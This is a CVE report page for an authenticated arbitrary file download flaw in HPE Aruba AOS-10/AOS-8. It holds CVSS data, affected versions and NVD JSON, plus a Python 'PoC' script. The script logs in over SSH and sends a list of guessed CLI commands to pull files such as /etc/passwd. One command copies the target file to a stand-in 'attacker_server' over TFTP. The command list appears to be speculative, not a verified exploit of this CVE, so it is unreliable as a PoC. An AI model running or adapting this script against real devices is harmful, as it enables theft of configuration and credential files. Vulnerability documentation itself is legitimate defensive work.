Security Vulnerability Report
中文
CVE-2025-37141 CVSS 4.9 MEDIUM

CVE-2025-37141

Published: 2025-10-14 17:15:41
Last Modified: 2025-11-12 20:55:32

Description

Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
HPE Aruba Networking AOS-10 Gateway 全部受影响版本(具体版本以HPE官方公告hpesbnw04957en_us为准)
HPE Aruba Networking AOS-8 Controller 全部受影响版本
HPE Aruba Networking AOS-8 Mobility Conductor 全部受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-37141 - HPE Aruba AOS-10/AOS-8 CLI Arbitrary File Download PoC This PoC demonstrates the exploitation of an arbitrary file download vulnerability in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor. Requirements: - Valid high-privilege credentials (admin/operator level) - Network access to the target device's SSH/CLI interface - paramiko library for SSH connection Usage: python3 cve_2025_37141_poc.py <target_ip> <username> <password> <remote_file> """ import sys import paramiko import argparse def exploit_arbitrary_file_download(host, port, username, password, target_file): """ Exploit arbitrary file download via CLI command injection/path traversal. Attempts to use built-in CLI commands to read arbitrary files from the device. """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: print(f"[*] Connecting to {host}:{port} as {username}...") client.connect(host, port=port, username=username, password=password, timeout=10) print("[+] Authentication successful") # Invoke the Aruba CLI shell shell = client.invoke_shell() import time time.sleep(2) shell.recv(4096) # consume banner # Attempt 1: Use 'show running-config' with path traversal in include directive # Some AOS versions allow specifying file paths in certain show commands commands = [ f"show running-config | include {target_file}", f"copy {target_file} tftp://attacker_server/exfiltrated_file", f"backup-config {target_file}", f"show tech-support | redirect {target_file}", # Path traversal attempt via tar command f"tar create /tmp/loot.tar {target_file}", f"show configuration files | include {target_file}", ] for cmd in commands: print(f"[*] Trying command: {cmd}") shell.send(cmd + "\n") time.sleep(3) output = shell.recv(65535).decode('utf-8', errors='ignore') print(f"[+] Output:\n{output}") if 'Error' not in output and 'Invalid' not in output: print(f"[+] Potential success with command: {cmd}") return output return None except paramiko.AuthenticationException: print("[-] Authentication failed. High-privilege credentials required.") except Exception as e: print(f"[-] Error: {e}") finally: client.close() return None if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-37141 PoC Exploit') parser.add_argument('host', help='Target AOS device IP address') parser.add_argument('-u', '--username', default='admin', help='Username (high-privilege)') parser.add_argument('-p', '--password', default='', help='Password') parser.add_argument('-P', '--port', type=int, default=22, help='SSH port') parser.add_argument('-f', '--file', default='/etc/passwd', help='Remote file to download (e.g., /etc/passwd, /config/config.cfg)') args = parser.parse_args() print("=" * 60) print("CVE-2025-37141 - HPE Aruba AOS Arbitrary File Download") print("=" * 60) result = exploit_arbitrary_file_download( args.host, args.port, args.username, args.password, args.file ) if result: print("\n[+] Exploit completed. Check output above for exfiltrated data.") else: print("\n[-] Exploit failed. Target may be patched or commands need adjustment.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37141", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:40.967", "lastModified": "2025-11-12T20:55:31.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.10.0.0", "versionEndExcluding": "8.10.0.19", "matchCriteriaId": "3D5F48C7-AD51-4641-9CBA-9DE9B516819E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.12.0.0", "versionEndExcluding": "8.12.0.6", "matchCriteriaId": "057AA8F5-FF66-44E9-8E06-D2B9E8B91AD2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.13.0.0", "versionEndExcluding": "8.13.1.0", "matchCriteriaId": "D4B066B5-D01B-43AE-B4DC-AF560D6B953C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.4.0.0", "versionEndExcluding": "10.4.1.9", "matchCriteriaId": "04F61E46-8412-4B8D-BE7B-EBF61BE52C54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.7.0.0", "versionEndExcluding": "10.7.2.1", "matchCriteriaId": "BEF8618F-C126-4F8F-951F-6D62FE8FAB22"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}